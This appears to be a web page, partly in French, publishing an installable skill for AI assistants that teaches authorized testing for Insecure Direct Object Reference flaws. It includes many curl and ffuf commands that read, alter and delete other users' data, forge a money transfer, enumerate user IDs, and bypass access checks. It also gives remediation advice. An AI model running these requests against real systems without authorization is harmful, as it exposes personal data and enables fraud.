Identifying and exploiting Insecure Direct Object Reference vulnerabilities to access unauthorized resources by manipulating object identifiers in API requests and URLs.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Identifying and exploiting Insecure Direct Object Reference vulnerabilities to access unauthorized resources by manipulating object identifiers in API requests and URLs.
During authorized penetration tests when testing access control on resource endpoints
When APIs or web pages use predictable identifiers (numeric IDs, UUIDs, slugs) in URLs or request bodies
For validating that object-level authorization is enforced across all CRUD operations
When testing multi-tenant applications where users should only access their own data
During bug bounty programs targeting broken access control vulnerabilities
Prerequisites
Authorization: Written penetration testing agreement for the target application
Burp Suite Professional: With Authorize extension installed from BApp Store
Two test accounts: At least two separate user accounts with different permission levels
Burp Authorize Extension: For automated IDOR testing across sessions
curl/httpie: For manual request crafting
Browser: Configured to proxy through Burp Suite
Critical: Checks Most Often Missed
IDORs are missed when only the obvious /users/{id} numeric swap is tried.
For every object reference, work through this checklist:
Unauthenticated access: replay the request with NO cookie / NO token. APIs
frequently leak objects entirely without auth — this is the single most missed
IDOR and the easiest to confirm.
Every object reference, every method: path IDs, query params (?id=,
?user_id=), body fields, JSON nested IDs, and headers. Test GET, POST, PUT,
PATCH, and DELETE — read may be locked while write is not.
All ID encodings: numeric ±1 neighbours, UUIDs (try a second account's
real UUID), base64 (MTAx=101), hashed IDs, and slugs. Decode/re-encode to
enumerate.
Two-account differential (the reliable confirmation): request User B's
object with User A's session. Same data returned for both users = IDOR.
Without a second account, register/obtain one — guessing IDs alone yields
false positives.
Indirect & wrapper tricks: parameter pollution (?id=101&id=102),
arrays/bulk ({"ids":[101,102]}), wrapping a value in [] or {}, changing
Content-Type to JSON, and appending .json/.xml to force an alternate
handler that skips authorization.
Method/parameter override: add X-HTTP-Method-Override: GET,
_method=PUT, or path tricks (;, ..;/, trailing /) that route past the
access-control check.
Confirm impact: enumerate a small range to prove scale, record exactly
which sensitive fields leak (email, phone, tokens, PII), and never modify or
delete real user data — use known test objects for write IDORs.
Identify every endpoint that references objects by ID across the application.
# Browse the application through Burp proxy with User A# Review Burp Target > Site Map for endpoints with object references# Common IDOR-prone endpoints to look for:# GET /api/users/{id}# GET /api/orders/{id}# GET /api/invoices/{id}/download# PUT /api/users/{id}/profile# DELETE /api/posts/{id}# GET /api/documents/{id}# GET /api/messages/{conversation_id}# Extract all endpoints with IDs from Burp proxy history# Burp > Proxy > HTTP History > Filter by target domain# Look for patterns: /resource/123, ?id=123, {"user_id": 123}# Check different ID formats:# Numeric sequential: /users/101, /users/102# UUID: /users/550e8400-e29b-41d4-a716-446655440000# Base64 encoded: /users/MTAx (decodes to "101")# Hashed: /users/5d41402abc4b2a76b9719d911017c592# Slug: /users/john-doe
Step 2: Configure Burp Authorize Extension for Automated Testing
Set up the Authorize extension to automatically replay requests with a different user's session.
# Install Authorize from BApp Store:
# Burp > Extender > BApp Store > Search "Authorize" > Install
# Configuration:
# 1. Log in as User B (victim) in a separate browser/incognito
# 2. Copy User B's session cookie/authorization header
# 3. In Authorize tab > Configuration:
# - Add User B's cookies in "Replace cookies" section
# - Or add User B's Authorization header in "Replace headers"
# Example header replacement:
# Original (User A): Authorization: Bearer <token_A>
# Replace with (User B): Authorization: Bearer <token_B>
# 4. Enable "Intercept requests from Repeater"
# 5. Enable "Intercept requests from Proxy"
# Authorize will show:
# - Green: Properly restricted (different response for different user)
# - Red: Potentially vulnerable (same response regardless of user)
# - Orange: Uncertain (needs manual verification)
Step 3: Test Horizontal IDOR (Same Privilege Level)
Attempt to access resources belonging to another user at the same privilege level.
# Authenticate as User A (ID: 101)
TOKEN_A="Bearer eyJ..."# Get User A's own resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile" | jq .
# Attempt to access User B's resources (ID: 102) with User A's token
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | jq .
# Compare responses - if both return 200 with data, IDOR is confirmed# Test across different resource typesfor resource in profile orders invoices messages documents; doecho"--- Testing $resource ---"# User A's resource
curl -s -o /dev/null -w "Own: %{http_code} " \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/$resource"# User B's resource
curl -s -o /dev/null -w "Other: %{http_code}\n" \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/$resource"done# Test with POST/PUT/DELETE for write-based IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked"}' \
"https://target.example.com/api/v1/users/102/profile"
Step 4: Test Vertical IDOR (Cross Privilege Level)
Attempt to access admin or elevated resources with a regular user token.
# As regular user, try accessing admin user profiles
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/1/profile" | jq .
# Try accessing admin-specific resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/admin/reports/1" | jq .
# Test accessing resources across organizational boundaries# User in Org A trying to access Org B's resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/organizations/2/settings" | jq .
# Test file download IDOR
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/invoices/999/download" -o test.pdf
file test.pdf
Step 5: Test IDOR in Non-Obvious Locations
Look for IDOR in request bodies, headers, and indirect references.
# IDOR in request body parameters
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \
"https://target.example.com/api/v1/transfers"# Change sender_id to another user
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \
"https://target.example.com/api/v1/transfers"# IDOR in file references
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf"# IDOR in GraphQL
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 102) { email phone ssn } }"}' \
"https://target.example.com/graphql"# IDOR via parameter pollution
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile?user_id=102"# IDOR in bulk operations
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"ids": [101, 102, 103, 104, 105]}' \
"https://target.example.com/api/v1/users/bulk"
Step 6: Enumerate and Escalate Impact
Determine the full scope of data exposure through IDOR.
# Enumerate valid object IDs
ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \
-w <(seq 1 500) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 20 \
-o valid-users.json -of json
# Count total accessible records
jq '.results | length' valid-users.json
# Check what sensitive data is exposed per record
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | \
jq 'keys'# Look for: email, phone, address, ssn, payment_info, password_hash# Test IDOR on state-changing operations# Can User A delete User B's resources?
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/posts/1" \
-w "%{http_code}"# WARNING: Only test DELETE on known test data, never on real user data
How to CONFIRM a Hit (avoid false negatives)
A true-positive IDOR needs proof you accessed another principal's object, not just a 200:
Two-account differential (definitive): request User B's object id with User A's session and confirm the response returns User B's data (match a unique field — B's email, order total, UUID). Identical data for both users = confirmed IDOR.
Unauthenticated access: replay with NO cookie/token; if the object still returns, that's a confirmed (and higher-severity) IDOR.
Write IDOR: the state-change actually persists on the victim object (re-read it as User B to verify), not just an accepted 200.
Scale: enumerate a small id range to prove it's systemic, and record exactly which sensitive fields leak.
Do not conclude "not vulnerable" after the obvious numeric {id} swap returns 403. Before giving up you MUST also try: UUID/base64/hash-encoded ids, the id in query/body/header/JSON-nested positions, every method (GET/POST/PUT/PATCH/DELETE), parameter pollution (?id=A&id=B), array/bulk wrappers, and appending .json/.xml or a method-override header — authorization is frequently enforced on one representation but not another.
Key Concepts
Concept
Description
Horizontal IDOR
Accessing resources belonging to another user at the same privilege level
Vertical IDOR
Accessing resources requiring higher privileges than the current user has
Direct Object Reference
Using a database key, file path, or identifier directly in API parameters
Indirect Object Reference
Using a mapped reference (e.g., index) that the server resolves to the actual object
Object-Level Authorization
Server-side check that the requesting user is authorized to access the specific object
Predictable IDs
Sequential numeric identifiers that allow easy enumeration of valid objects
UUID Randomness
Using UUIDv4 makes enumeration harder but does not replace authorization checks
Tools & Systems
Tool
Purpose
Burp Suite Professional
HTTP proxy with Intruder for ID enumeration and Repeater for manual testing
Authorize (Burp Extension)
Automated IDOR testing by replaying requests with different user sessions
AutoRepeater (Burp Extension)
Automatically repeats requests with modified authorization headers
Postman
API testing with environment variables for switching between user contexts
ffuf
Fast fuzzing of object ID parameters
OWASP ZAP
Free proxy alternative with access control testing plugins
Common Scenarios
Scenario 1: Invoice Download IDOR
The /invoices/{id}/download endpoint generates PDF invoices. By incrementing the invoice ID, any authenticated user can download invoices belonging to other customers, exposing billing addresses and payment details.
Scenario 2: User Profile Data Leak
The /api/users/{id} endpoint returns full user profiles including email, phone, and address. The API only checks if the request has a valid token but never verifies whether the token owner matches the requested user ID.
Scenario 3: File Access via Path Manipulation
A document management system stores files at /files/{user_id}/{filename}. By changing the user_id path segment, users can access private documents uploaded by other users.
Scenario 4: Message Thread Hijacking
A messaging endpoint at /api/conversations/{id}/messages allows any authenticated user to read messages in any conversation by changing the conversation ID.
Output Format
## IDOR Vulnerability Finding
**Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)
**Severity**: High (CVSS 7.5)
**Location**: GET /api/v1/users/{id}/profile
**OWASP Category**: A01:2021 - Broken Access Control
### Reproduction Steps
1. Authenticate as User A (ID: 101) and obtain JWT token
2. Send GET /api/v1/users/101/profile with User A's token (returns own profile)
3. Change the ID to 102: GET /api/v1/users/102/profile with User A's token
4. Observe that User B's full profile is returned including PII
### Affected Endpoints
| Endpoint | Method | Impact |
|----------|--------|--------|
| /api/v1/users/{id}/profile | GET | Read PII of any user |
| /api/v1/users/{id}/orders | GET | Read order history of any user |
| /api/v1/users/{id}/profile | PUT | Modify profile of any user |
| /api/v1/invoices/{id}/download | GET | Download any user's invoices |
### Impact
- 15,000+ user profiles accessible (enumerated IDs 1-15247)
- Exposed fields: name, email, phone, address, date_of_birth
- Write IDOR allows profile modification of other users
- Violates GDPR data access controls
### Recommendation
1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object
2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure
3. Log and alert on sequential ID enumeration patterns
4. Implement rate limiting on resource endpoints
